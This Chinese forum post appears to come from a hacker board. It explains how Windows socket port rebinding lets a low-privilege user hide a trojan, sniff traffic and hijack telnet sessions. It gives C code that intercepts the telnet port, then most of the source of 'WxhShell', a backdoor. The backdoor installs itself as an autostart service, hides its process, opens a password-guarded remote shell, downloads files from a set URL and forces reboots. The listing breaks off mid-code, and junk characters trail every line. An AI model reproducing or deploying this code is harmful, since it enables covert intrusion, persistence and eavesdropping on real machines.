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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IM*T+iRKqF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j6r.HYX!  
0 \}%~e  
  saddr.sin_family = AF_INET; ODE^;:z !  
y-k]Tr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1zlBkK   
P h/!a6y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U[WR?J4~LX  
3v@Y"I3;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 H*VZ&{\7  
>TB Rp,;r  
  这意味着什么?意味着可以进行如下的攻击: m8C scC Z}  
Mi2l BEu,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uZkh.0yB  
_MST8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) PR;A 0   
)]P%=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z Vj  
BIeeu@p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (5R_q.Wu  
z2DjYTm[~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _1U7@v:<@  
ebmU~6v k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E !}~j  
o%V%@q H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $ITh)#Nj  
HqKI|^  
  #include {Tl|>\[P  
  #include f<}>*xH/k  
  #include !K5D:x  
  #include    i\94e{uty[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YpwMfl4  
  int main() LG> lj$hO  
  { -naoM  
  WORD wVersionRequested; 'Nn>W5#))  
  DWORD ret; PAHkF&  
  WSADATA wsaData; d>r_a9 .u  
  BOOL val; #Y;tobB  
  SOCKADDR_IN saddr; N\Li/  
  SOCKADDR_IN scaddr; 2/M:KR  
  int err; QZ^P2==x  
  SOCKET s; N9jSiRJ  
  SOCKET sc; aK4ZH}XHE"  
  int caddsize; ``9`Xq  
  HANDLE mt; =BNS3W6  
  DWORD tid;   A@qwD300Vo  
  wVersionRequested = MAKEWORD( 2, 2 ); <Z58"dg.5  
  err = WSAStartup( wVersionRequested, &wsaData ); +tSfx  
  if ( err != 0 ) { 1 wB2:o<  
  printf("error!WSAStartup failed!\n"); HA W57N  
  return -1; xXn2M*g  
  } P K9BowlW  
  saddr.sin_family = AF_INET; YKWts y  
   <QZ X""  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PS3%V_2  
?84B0K2N s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $TR#-q  
  saddr.sin_port = htons(23); V-.Nc#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D8,V'n>L  
  { jpI=B  
  printf("error!socket failed!\n"); wrmbOT  
  return -1; $(JB"%S8c  
  } 9m:G8j'  
  val = TRUE; nD/; Gq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (TQhO$,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C#Y_La  
  { u~VvGLFf5,  
  printf("error!setsockopt failed!\n"); c"x-_Uk  
  return -1; 8 DE%ot  
  } "O j2B|:s&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6-vQQ-\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 - BE.a<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &ytnoj1L(  
=%IBl]Z!"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >;M?f!  
  { gHe%N? '  
  ret=GetLastError(); QGI_aU  
  printf("error!bind failed!\n"); E,g5[s@  
  return -1; 8M9}os  
  } <sNk yQ  
  listen(s,2); i!k5P".o^  
  while(1) O2 sAt3'  
  { bQelU  
  caddsize = sizeof(scaddr); Se>"=[=  
  //接受连接请求 1e(Q I) ~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0^ IHBN?9  
  if(sc!=INVALID_SOCKET) 1`z^Xk8vt  
  { g Xi& S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^KO=8m( )J  
  if(mt==NULL) Jkq?wpYp  
  { Q@"mL  
  printf("Thread Creat Failed!\n"); 5(V'<  
  break; O!=ae|  
  } '"QN{ja  
  } U#{^29ik=o  
  CloseHandle(mt); Jx(`.*$  
  } vbT,! cEm  
  closesocket(s); ^:F |2  
  WSACleanup(); r"uOf;m  
  return 0; X5`#da  
  }   cm!|A)~  
  DWORD WINAPI ClientThread(LPVOID lpParam) <!qv$3/7  
  { 13v#  
  SOCKET ss = (SOCKET)lpParam; uv$t>_^  
  SOCKET sc; mx:)&1  
  unsigned char buf[4096]; B]-~hP  
  SOCKADDR_IN saddr; Sy?O(BMo  
  long num; +_h1JE_}D  
  DWORD val; L dyTB@  
  DWORD ret; AO "pm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gPrIu+|F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |&hu3-(  
  saddr.sin_family = AF_INET; u_~*)w+mS@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); },@1i<Bb  
  saddr.sin_port = htons(23); 5C^oqUZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d l<7jM?  
  { 6I yD7PQ  
  printf("error!socket failed!\n"); ci~pM<+  
  return -1; tnCGa%M  
  } k25:H[   
  val = 100; ; Fi(zl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !gm;g}]szG  
  { >PD*)Uq&  
  ret = GetLastError(); yS)73s/MrY  
  return -1; OB{d^e}  
  } B]xZ 4 Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gj%cU@2  
  { 2V*<HlqOif  
  ret = GetLastError(); RIDzNdM>U  
  return -1; }#3'72  
  } <E`Ygac  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,(  ?q  
  { ;Uxr+,x~  
  printf("error!socket connect failed!\n"); ck WK+  
  closesocket(sc); 4Sq[I  
  closesocket(ss); & 1:_+  
  return -1; p[zKc2TPk  
  } x8o/m$[,=u  
  while(1) 0WSOA[R%[b  
  { p5aqlYb6r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nIWY<Z"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Vtv~jJ{m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]YrgkC35  
  num = recv(ss,buf,4096,0); D!V~g72j  
  if(num>0) `4-N@h  
  send(sc,buf,num,0); RpwDOG  
  else if(num==0) eX$RD9 H  
  break; kD me>E=  
  num = recv(sc,buf,4096,0); t\WU}aKML  
  if(num>0) fb[? sc  
  send(ss,buf,num,0); ,u9 >c*Ss\  
  else if(num==0) nUK;M[  
  break; >3}N;  
  } \(}pm#O  
  closesocket(ss); q. j$]?PQ  
  closesocket(sc); pb G5y7  
  return 0 ; 7eW6$$ju,N  
  } ZiRCiQ/?  
^V7)V)Z;0  
0U !&|i\  
========================================================== >Bu _NoM  
\odns  
下边附上一个代码,,WXhSHELL 9v1Snr  
5RP5%U  
========================================================== )P,pW?h$  
9i D&y)$"  
#include "stdafx.h" v^;vH$B  
..w$p-1  
#include <stdio.h> Z=< D`  
#include <string.h> G^SDB!/@J  
#include <windows.h> NE3/>5  
#include <winsock2.h> {7q8@`Oa  
#include <winsvc.h> r5+ MjR  
#include <urlmon.h> %o`Cp64`Q  
#qJ6iA6{  
#pragma comment (lib, "Ws2_32.lib") 6Q&i=!fQ  
#pragma comment (lib, "urlmon.lib") =#wE*6T9  
T+FlN-iy)  
#define MAX_USER   100 // 最大客户端连接数 dEor+5}  
#define BUF_SOCK   200 // sock buffer V#c=O}  
#define KEY_BUFF   255 // 输入 buffer 5bsv05=e  
i98PlAq)B  
#define REBOOT     0   // 重启 Ct:c%D(L  
#define SHUTDOWN   1   // 关机 y+ izC+  
A2Iqn5  
#define DEF_PORT   5000 // 监听端口 g91xUG  
ZS@R?  
#define REG_LEN     16   // 注册表键长度 >feeVk  
#define SVC_LEN     80   // NT服务名长度 8^R~qpg%  
`_"?$ v2F  
// 从dll定义API RLGIST`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); };*&;GFe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $. sTb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e'=#G$S?g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `qZ@eGZ z  
Bu{%mm(  
// wxhshell配置信息 3ZvQUH/{W  
struct WSCFG { v{8r46Y~Z)  
  int ws_port;         // 监听端口 /)rv Ndn  
  char ws_passstr[REG_LEN]; // 口令 #jg3Ku;Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no SL_JA  
  char ws_regname[REG_LEN]; // 注册表键名 SL<EZn0F9  
  char ws_svcname[REG_LEN]; // 服务名 .tK]-f2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SK_N|X].  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q\~D:z$+CO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'o7V6KG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SV^[)p )  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P%<MQg|k`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $us7fuKE  
lH"VLO2l  
}; mk6>}z*  
<u  
// default Wxhshell configuration D@k#'KU  
struct WSCFG wscfg={DEF_PORT, '2{60t_A  
    "xuhuanlingzhe", ntZHO}'  
    1, j3>&Su>H4  
    "Wxhshell", 8Z 0@-8vi  
    "Wxhshell", R]o2_r7N"}  
            "WxhShell Service", q-e3;$  
    "Wrsky Windows CmdShell Service", CZ(fP86e  
    "Please Input Your Password: ", T\Jm=+]c!  
  1, Owh:(EJ"d  
  "http://www.wrsky.com/wxhshell.exe", 7}tXF  
  "Wxhshell.exe" /8P7L'Rb  
    }; <V#]3$(S  
#O7phjzgD  
// 消息定义模块 @j%7tfW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xI~c~KC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +.X3&|@k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p,\(j  
char *msg_ws_ext="\n\rExit."; ;|oem\dKv  
char *msg_ws_end="\n\rQuit."; <_4'So>  
char *msg_ws_boot="\n\rReboot..."; y"zZ9HQM  
char *msg_ws_poff="\n\rShutdown..."; G52z5-=v  
char *msg_ws_down="\n\rSave to "; ]YB,K)WQ  
X\BdN Hr  
char *msg_ws_err="\n\rErr!"; % "ZC9uq?  
char *msg_ws_ok="\n\rOK!"; zZ8:>2Ps(  
Nh6!h%  
char ExeFile[MAX_PATH]; gyC Xv0*z  
int nUser = 0; Q*/jQC  
HANDLE handles[MAX_USER]; &3P"l.j  
int OsIsNt; c2yZvi  
~e+pa|lO  
SERVICE_STATUS       serviceStatus; EsLtC5]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `L.nj6F  
N$cAX^~  
// 函数声明 #?bOAWAwLh  
int Install(void); 2*zMLI0.  
int Uninstall(void); 59(} D'lw>  
int DownloadFile(char *sURL, SOCKET wsh); :n oZ p:a  
int Boot(int flag); kX:8sbZ##4  
void HideProc(void); ,go$ 6  
int GetOsVer(void); VQpwHzh  
int Wxhshell(SOCKET wsl); Vv>hr+e  
void TalkWithClient(void *cs); zBqNE`  
int CmdShell(SOCKET sock); Bo/i =/7%  
int StartFromService(void); =%+xNOdN7?  
int StartWxhshell(LPSTR lpCmdLine); Y,X0x-  
uHyc7^X>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6H|&HV(!R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OC`Mzf%.  
CrX1qyR  
// 数据结构和表定义 qkq^oHI  
SERVICE_TABLE_ENTRY DispatchTable[] = <;dFiI-GO#  
{ ='HLA-uT  
{wscfg.ws_svcname, NTServiceMain}, < z{,@Z}  
{NULL, NULL} }kk[lvhJ  
}; 3:gF4(.  
`W4Is~VVv  
// 自我安装 6yMaW eT  
int Install(void) #M:Vwn JX  
{ V_T~5%9Fy  
  char svExeFile[MAX_PATH]; E1|:t$>Ld  
  HKEY key; r5uX?^mJ0  
  strcpy(svExeFile,ExeFile); .Kk'N  
.vpx@_;]9  
// 如果是win9x系统,修改注册表设为自启动 LLwC*)#  
if(!OsIsNt) { 3 n1 > +8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  C0j`H(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k i{8f  
  RegCloseKey(key); Z]^O=kX7k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %eE 6\f%g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^+9i~PjL  
  RegCloseKey(key); AXpyia7nU  
  return 0; P? LpI`f  
    } 'k9 1;T[  
  } 2;YL+v2  
} E)( Rhvij  
else { ,}$[;$ye  
+K"d\<  
// 如果是NT以上系统,安装为系统服务 U p: M[S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3F9AnS  
if (schSCManager!=0) !ziO1U  
{ B%KfB VC  
  SC_HANDLE schService = CreateService 4NmLbM&C8  
  ( ;d||u  
  schSCManager, ~01Fp;L/  
  wscfg.ws_svcname, mvGj !'  
  wscfg.ws_svcdisp, i8` 0-  
  SERVICE_ALL_ACCESS, stlkt>9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DX8pd5 U  
  SERVICE_AUTO_START, 5=P*<Dnj  
  SERVICE_ERROR_NORMAL, (rjv3=9\3  
  svExeFile, /1LQx>1d  
  NULL, Bfr$&?j#  
  NULL, g}*F"k4j  
  NULL, qbQH1<yS<  
  NULL, ~*ll,<L:  
  NULL ]llvG \  
  ); AJ85[~(lX  
  if (schService!=0) LW+^m6O  
  { {us"=JJVN  
  CloseServiceHandle(schService); lNqF@eCT9  
  CloseServiceHandle(schSCManager); CYN|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z=>#|pW,)  
  strcat(svExeFile,wscfg.ws_svcname); z4*`K4W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J, vEZT<Mt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6?KJ"Ai9  
  RegCloseKey(key); B}Sl1)E  
  return 0; X##hSGQM  
    } *W=R:Bl!  
  } _.3O(?p,  
  CloseServiceHandle(schSCManager); 5KwT(R o  
} %8T"h  
} UU]a).rz  
+[$ Q C*  
return 1; nL&[R}@W  
} f;%\4TH?  
#N `Z)}Jm  
// 自我卸载 ffS]%qa  
int Uninstall(void) R3@$ao  
{ !;;WS~no3  
  HKEY key; 0^&-j.9  
L:RMZp*bK  
if(!OsIsNt) { G,h=5y9_J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tD\%SiTg=b  
  RegDeleteValue(key,wscfg.ws_regname); %P-z3 0FHp  
  RegCloseKey(key); d@_|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uY Y{M`  
  RegDeleteValue(key,wscfg.ws_regname); Kv-4VWh  
  RegCloseKey(key); eh} {\P  
  return 0; ':_1z5  
  } hha^:,  
} 3+2cD  
} e2$k %c~  
else { o-%DL*^5  
 K na  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JO"-"&>  
if (schSCManager!=0) sc &S0K  
{ fr([g?F%D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,xsFBNCC  
  if (schService!=0) )%]`uj>*[  
  {  w#\*{EN  
  if(DeleteService(schService)!=0) { ![4<6/2gy  
  CloseServiceHandle(schService); ) v^;"q"  
  CloseServiceHandle(schSCManager); qx<h rC0Z&  
  return 0; [DO UIR9  
  } E]j2%}6Z%  
  CloseServiceHandle(schService); \dw*yZ^  
  } zeG_H}[2&  
  CloseServiceHandle(schSCManager); Id;YIycXe  
} l|p \8=  
} ?:XbZ"25pJ  
"OO"Ab{t  
return 1; l9Sx'<  
} $M 1/74  
cq \()uF'c  
// 从指定url下载文件 p8a \> {  
int DownloadFile(char *sURL, SOCKET wsh) @ 80Z@Pj  
{ P n|*(sTl  
  HRESULT hr; beCTOmC  
char seps[]= "/"; }qOj^pkJ  
char *token; rkz_h  
char *file; V[T`I a\  
char myURL[MAX_PATH]; UN6Du\)]d  
char myFILE[MAX_PATH]; ]Uee!-dZ  
r^|AiYI)  
strcpy(myURL,sURL); ?go+oS^  
  token=strtok(myURL,seps); yDW$v/j.|  
  while(token!=NULL) ^+20e3 ~Y  
  { 1JXa/f+  
    file=token; Q]d3a+dK  
  token=strtok(NULL,seps);  ^q=D!g  
  } _@Le MNv  
{(,[  
GetCurrentDirectory(MAX_PATH,myFILE); k9pOY]_Y  
strcat(myFILE, "\\"); o:irwfArv  
strcat(myFILE, file); ,3tcti~sZ  
  send(wsh,myFILE,strlen(myFILE),0); J` J^C  
send(wsh,"...",3,0); &hb:~>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vhQIkB8  
  if(hr==S_OK) 3j iSvrfI  
return 0; H=j&uv8  
else |3A/Og  
return 1; a*Oc:$  
xF4>D!T%8  
} tgPx!5U  
Y]SX2kk(2  
// 系统电源模块 ~Yw`w 2  
int Boot(int flag) ZFAi9M  
{ ,@1.&!F4it  
  HANDLE hToken; X<<hb  
  TOKEN_PRIVILEGES tkp; D< h+r?  
hS}d vZa  
  if(OsIsNt) { }I1SC7gY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RS>;$O_(M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v0yaFP#kG  
    tkp.PrivilegeCount = 1; Uz`K#Bz   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NBUSr}8|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _*I@ J/  
if(flag==REBOOT) { )Uv lEG']  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !5;A.f  
  return 0; e)WpqaI  
} ;;9W/m~]  
else { b`=\<u8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %ifq4'?Z   
  return 0; '<A:`V9M}v  
} FOFZ/q  
  } /NH9$u.g  
  else { $&@L[[xl  
if(flag==REBOOT) { 19u'{/Y"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  4|9c+^%^  
  return 0; .%D9leiRe  
} /~49.}yt  
else { q^e4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9D2}heTN  
  return 0; CO` %eL ~  
} V?a+u7*U&  
} b0A*zQA_)  
UKBVCAK  
return 1; }w0>mA0=H  
} "t-u=aDl-.  
dQ5_=( 9  
// win9x进程隐藏模块 H>x(c|ZBp  
void HideProc(void) iG\ ]  
{ )jh4HMvmC  
&: i|;^^2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "gcHcboU5$  
  if ( hKernel != NULL ) W3XVr&  
  { aIrQ=}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1mLd_ ]F'F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cH&-/|N  
    FreeLibrary(hKernel); t4a/\{/#9|  
  } #+v Iq?  
RJo"yB$1e6  
return; ~VRt 6C  
} j{i3lGaN  
7gLN7_2  
// 获取操作系统版本 : "|M  
int GetOsVer(void) 1e 8J-Nkj  
{ T+OQa+E@P  
  OSVERSIONINFO winfo; \,-t]$9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e;y\v/A  
  GetVersionEx(&winfo); yEnurq%J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5Iv3B|u  
  return 1; . C g2Y  
  else 1ke H1[  
  return 0; FCC9Ht8U?  
} }/ p>DMN  
9t.u9C=!F  
// 客户端句柄模块 qP"+SVqC  
int Wxhshell(SOCKET wsl) DS@ZE Q`F  
{ /AJ#ngXz  
  SOCKET wsh; y#4f^J!V  
  struct sockaddr_in client; l (EDe  
  DWORD myID; F__j]}?  
7q>Y)*V  
  while(nUser<MAX_USER) Xndgs}zz  
{ mVg$z  
  int nSize=sizeof(client); Hh_Yd)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l\PDou@5  
  if(wsh==INVALID_SOCKET) return 1; j4ARGkK5B  
qUH02" z@9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aZ[ aZU  
if(handles[nUser]==0) N$8do?  
  closesocket(wsh); Q>jx`68'KI  
else ~uF%*  
  nUser++; K.y2 $b/  
  } 9n#Q1Xq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F/MzrK\':m  
&+@~;p 5F  
  return 0; f`zH#{u  
}  Q.3oDq  
MIblx  
// 关闭 socket ^6tcB* #A  
void CloseIt(SOCKET wsh) l98.Hb7  
{ huMNt6P[  
closesocket(wsh); fOE8{O^W  
nUser--; X2X.&^  
ExitThread(0); So&an !  
} zh5$$*\  
J^}w,r *=  
// 客户端请求句柄 o5!"dxR  
void TalkWithClient(void *cs) K4]42#  
{ Rgb1B3gu  
{`2R<O  
  SOCKET wsh=(SOCKET)cs; Y<~N x~w{  
  char pwd[SVC_LEN]; X6+2~'*t  
  char cmd[KEY_BUFF]; I%.96V  
char chr[1]; (8M^|z}q  
int i,j; 8Iz-YG~%3  
f s8nYgv|Q  
  while (nUser < MAX_USER) { KC+C?]~M  
h5+qP"n!?q  
if(wscfg.ws_passstr) { I) mP ?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %9D$N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eBZa 9X$  
  //ZeroMemory(pwd,KEY_BUFF); cY%[UK$l  
      i=0; c\X0*GX  
  while(i<SVC_LEN) { Jr0D:  
q+A^JjzT  
  // 设置超时 ?vHow$  
  fd_set FdRead; 4>q^W$  
  struct timeval TimeOut; PV_E3,RY  
  FD_ZERO(&FdRead); q1:Y]Rbe  
  FD_SET(wsh,&FdRead); %Pr P CT  
  TimeOut.tv_sec=8; s[ {L.9Y  
  TimeOut.tv_usec=0; =5NM =K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R|7yhsJq,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $ O1w 6\}_  
x?hdC)#DWI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6kW<i,A -  
  pwd=chr[0]; 1-_op !N  
  if(chr[0]==0xd || chr[0]==0xa) { 5gZEcJ  
  pwd=0; 68m (%%E@  
  break; ('!{kVLT-  
  } ' 0iXx   
  i++; nWTo$*>W  
    } HOWm""IkB  
S@AHI!"h=V  
  // 如果是非法用户,关闭 socket g[VVxp!C<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R<}WNZl  
} E0K'|*  
<E2+P,Lgw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B7:8%r/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3t  
%O 5 k+~9  
while(1) { Ri$wt.b  
`;[ j`v8O  
  ZeroMemory(cmd,KEY_BUFF); JCjQR`)  
]+1?T)<!  
      // 自动支持客户端 telnet标准   6S-1Wc4  
  j=0; s?;rP,{:p  
  while(j<KEY_BUFF) { b9M.p*!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q'f!392|  
  cmd[j]=chr[0]; 1WGcv O)<  
  if(chr[0]==0xa || chr[0]==0xd) { kcy?;b;z  
  cmd[j]=0; Pn)^mt  
  break; ^;J@]&[ ~  
  } l0c ws`V  
  j++; 3"2 8=)o  
    } @@L@r6  
(p1y/"Xh  
  // 下载文件 + y!B`'J  
  if(strstr(cmd,"http://")) { ~#X,)L{y7v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sOc<'):TK  
  if(DownloadFile(cmd,wsh)) 7U#`^Q}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f_`gUMf  
  else mZ;W$y SO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <8U qV.&  
  } VGbuEC[Y  
  else { ;p~&G"-C`  
!FhK<#  
    switch(cmd[0]) { Cm:&n|  
  lO482l_t  
  // 帮助 ,vBi)H  
  case '?': { I!(.tu6u6c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #q{i<E 07  
    break; Dp:u!tdbeg  
  } =}S*]Me5  
  // 安装 O.7Q* ^_  
  case 'i': { neQ2k=ao  
    if(Install()) rbP" n)0=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IY@)  
    else j%%l$i~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3L24|-GxH  
    break; &5&C   
    } )^+v*=Dc-i  
  // 卸载 '}a[9v76  
  case 'r': { }s;W{Q  
    if(Uninstall()) ># FO0R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8l|v#^v  
    else 7 4rmxjiN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fM jn8.  
    break; S5eQHef  
    } zx7*Bnu0  
  // 显示 wxhshell 所在路径 L@*0wx`fU  
  case 'p': { b*4[)Yg4  
    char svExeFile[MAX_PATH]; &I8,<(`  
    strcpy(svExeFile,"\n\r"); ,|?-\?I  
      strcat(svExeFile,ExeFile); 9moenkL  
        send(wsh,svExeFile,strlen(svExeFile),0); }8E//$J  
    break; ?}*A/-Hx0U  
    } 'T54k  
  // 重启 Y21,!$4gb  
  case 'b': { sY?pp '}a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); owA3>E5t&  
    if(Boot(REBOOT)) ZoJ:4uo N`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f o])=KM  
    else { 'U<-w$!f+^  
    closesocket(wsh); {;4AdZk  
    ExitThread(0); ^FSUK  
    } ]JQk,<l5E  
    break; Zf<M14iM  
    } wAE ,mw  
  // 关机 m ys5B}  
  case 'd': { =re1xR!E5  
